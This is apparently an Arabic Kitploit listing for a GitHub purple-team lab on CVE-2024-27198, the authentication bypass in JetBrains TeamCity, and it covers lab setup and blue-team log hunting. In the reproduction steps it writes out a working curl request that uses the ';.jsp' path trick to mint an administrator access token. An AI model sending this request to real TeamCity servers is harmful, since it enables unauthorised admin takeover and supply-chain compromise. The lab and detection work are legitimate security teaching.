Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-27198_Lab — مختبر لـ CVE-2024-27198 | Kitploit
أدوات/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقاستخبارات التهديداتكشف التسللالتعلم والتعليمالاستجابة للحوادثتحليل السجلاتمختبرات وتدريب عملي
26منذ شهر واحدلم تتم المراجعة بعد
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

مختبر لـ CVE-2024-27198

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة


CVE-2024-27198_Lab

مختبر بحث عن الثغرات وعرض توضيحي لفريق Purple Team لتجاوز المصادقة في JetBrains TeamCity (CVE-2024-27198)

جدول المحتويات

  • حول المشروع
    • تفاصيل CVE
    • بُني باستخدام
  • استخبارات التهديدات و OSINT
    • التأثير والاستغلال في العالم الحقيقي
    • لماذا تُعد هذه الثغرة حرجة
  • البدء
    • المتطلبات الأساسية
    • التثبيت وإعداد المختبر
  • خطوات إعادة الإنتاج والاستغلال
    • بوابة تسجيل الدخول
    • اختبار الثغرة
    • إنشاء رمز وصول للمستخدم المسؤول
    • التحقق من الرمز
    • حذف الرمز
    • الفريق الأزرق: البحث عن مؤشرات الاختراق في السجلات
    • إيقاف الحاويات
  • التخفيف والكشف
    • التحليل التقني (CWE-288)
    • مؤشرات الاختراق (IoCs)
    • الكشف في السجلات (قاعدة Sigma)
    • عرض توضيحي مباشر لـ SIEM (الفريق الأزرق)
    • المعالجة
    • الكشف على الشبكة (قاعدة Suricata / Snort)
    • اختبار النسخة المُرقّعة
  • روابط

حول المشروع

توفر TeamCity صفحة مخصصة للمسؤولين فقط لإدارة الرموز، وهي غير محمية بالمصادقة. يتيح ذلك لمستخدم غير مُصادَق عليه إنشاء رمز وصول للمستخدم المسؤول إذا تمكن من العثور على معرّف (ID) لمستخدم موجود.

يحتوي هذا المستودع على مختبر Docker كامل قابل لإعادة الإنتاج يتضمن بيئتي TeamCity المصابة (:8111) والمُرقّعة (:8112)، ونصوص استغلال آلية (exploit.py)، وأدلة عملية للفريق الأزرق للبحث في السجلات، ومحاكي أحداث SIEM مباشر (siem_simulator.py).

تفاصيل CVE

  • معرّف CVE: CVE-2024-27198
  • CWE: CWE-288 (تجاوز المصادقة باستخدام مسار أو قناة بديلة)
  • CNA: JetBrains s.r.o.
  • الدرجة الأساسية: 9.8 حرجة
  • المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    • AV:N — شبكة
    • AC:L — منخفض
    • PR:N — لا يوجد
    • UI:N — لا يوجد
    • S:U — دون تغيير
    • C:H — مرتفع
    • I:H — مرتفع
    • A:H — مرتفع

بُني باستخدام

  • Docker
  • Python
  • JetBrains TeamCity
  • Sigma
  • Suricata

استخبارات التهديدات و OSINT

التأثير والاستغلال في العالم الحقيقي

  • كتالوج CISA KEV: أُضيف في 7 مارس 2024، مما يؤكد الاستغلال النشط في البرية.
  • الجهات الفاعلة للتهديد: استُغلت من قِبل مجموعات فدية متعددة و APTs، أبرزها مجموعة فدية BianLian ومتغير فدية Jasmin. استخدم المهاجمون هذا التجاوز لإنشاء حسابات مسؤول مارقة، ونشر إضافات خبيثة، وتنفيذ تعليمات برمجية عشوائية (RCE) للتحرك الجانبي داخل شبكات الضحايا.
  • الملف التعريفي للهدف: خطوط أنابيب CI/CD أهداف عالية القيمة (هجمات سلسلة التوريد). يتيح اختراق TeamCity للمهاجمين حقن تعليمات برمجية خبيثة في عمليات بناء البرامج، وسرقة الشيفرة المصدرية، واستخراج أسرار النشر (مفاتيح AWS، والشهادات).

لماذا تُعد هذه الثغرة CVE حرجة

تكمن الثغرة في آلية توجيه REST API. فعبر إلحاق أحرف محددة (مثل ?jsp=/app/rest/...;.jsp) بنقطة نهاية غير مُصادَق عليها، يمكن للمهاجمين خداع خادم TeamCity الويب لتوجيه الطلب إلى نقطة نهاية مُصادَق عليها مع تجاوز مرشّحات الأمان. لا يتطلب ذلك أي معرفة مسبقة أو وصول، مما يجعلها ثغرة بتقييم CVSS صافٍ قدره 9.8.

البدء

للحصول على نسخة محلية من هذا المختبر وتشغيلها، اتبع هذه الخطوات النموذجية البسيطة.

المتطلبات الأساسية

  • Docker و Docker Compose
  • Python 3.10+
  • curl

التثبيت وإعداد المختبر

  1. استنسخ المستودع
    git clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
    
  2. تغيير الدليل
    cd CVE-2024-27198_Lab
    
  3. ابدأ تشغيل الحاويات
    docker compose up -d
    
  • الوصول إلى نسخة TeamCity المصابة على: http://localhost:8111
  • الوصول إلى نسخة TeamCity المُرقَّعة على: http://localhost:8112

خطوات إعادة الإنتاج والاستغلال

بوابة تسجيل الدخول

اسم المستخدم:

admin

كلمة المرور:

admin

اختبار الثغرة

طلب GET لمورد دون مصادقة:

curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users

كلاهما يجب أن يُرجع خطأ برمز الحالة 401.

إنشاء رمز مميز لمستخدم المسؤول

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

يجب أن يُرجع هذا رمزًا مماثلًا لهذا (يتغير الرمز في كل مرة):

eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

هذا يجب أن يُرجع خطأ برمز الحالة 401 لأن النسخة المُرقّعة لا تحتوي على الثغرة الأمنية.

التحقق من الرمز المميز

curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

يجب أن يُرجع قائمة المستخدمين.

حذف الرمز المميز

  1. انتقل إلى http://localhost:8111 باستخدام حساب المسؤول.
  2. انقر على أيقونة الملف الشخصي في أعلى اليمين.
  3. انتقل إلى Profile -> Access Tokens.
  4. سترى الرمز المميز "REDTEAM".
  5. ببساطة انقر على Delete بجوار الرمز المميز.

الفريق الأزرق: البحث عن مؤشرات الاختراق (IoCs) في السجلات (عامل التخفي)

أثناء العرض التوضيحي في المختبر، يمكنك إظهار اكتشاف كبير للفريق الأزرق: بشكل افتراضي، هذه الثغرة الأمنية شديدة التخفي!

  1. سجلات وصول Tomcat معطّلة افتراضيًا في صورة TeamCity Docker، لذا فإن طلبات HTTP ;.jsp لا تُسجَّل.
  2. سجل تدقيق TeamCity لا يسجّل إنشاء الرموز المميزة عبر REST API.

إذن كيف نكتشف ذلك؟ عندما يقوم المهاجم بتنظيف آثاره! عندما يحذف المهاجم رمزه المميز الخبيث لإخفاء نفسه، فإن TeamCity يسجّل ذلك.

ابحث عن المهاجم وهو يغطي آثاره في سجلات التدقيق:

docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(سترى إدخال سجل يشير إلى أن رمز "REDTEAM" قد تم حذفه).

إيقاف الحاويات

docker compose down

التخفيف والكشف

التحليل التقني (CWE-288)

تُعد هذه الثغرة حالة من CWE-288: تجاوز المصادقة باستخدام مسار أو قناة بديلة. ينبع الخلل من مشكلة التباس في المسار بين خادم الويب Tomcat وموجّه تطبيق TeamCity. فعن طريق إلحاق ;.jsp وتمرير نقطة نهاية REST API المستهدفة في المعامل jsp=، يفسّر مرشّح الأمان الأولي الطلب على أنه طلب غير مُصادَق عليه لملف .jsp عام (وهو أمر مسموح به). غير أن الموجّه الداخلي يزيل ;.jsp ويُمرّر الطلب إلى نقطة النهاية المقيّدة /app/rest/ دون فرض مرشّح المصادقة.

حالة الاستخدام المشروعة (لماذا يُسمح بـ ;؟): يستخدم Tomcat حرف الفاصلة المنقوطة (;) من أجل معاملات المصفوفة (Matrix Parameters). تاريخيًا، تُستخدم هذه الآلية لتمرير المعاملات مباشرةً داخل المسار، مثل إلحاق JSESSIONID للحفاظ على حالة جلسة المستخدم عند تعطيل ملفات تعريف الارتباط (cookies). هذا السلوك الطبيعي والمشروع لخادم الويب، مقترنًا بالتحقق غير السليم من قِبَل موجّه تطبيق TeamCity، هو ما يُنشئ الثغرة.

تنزيل الأداة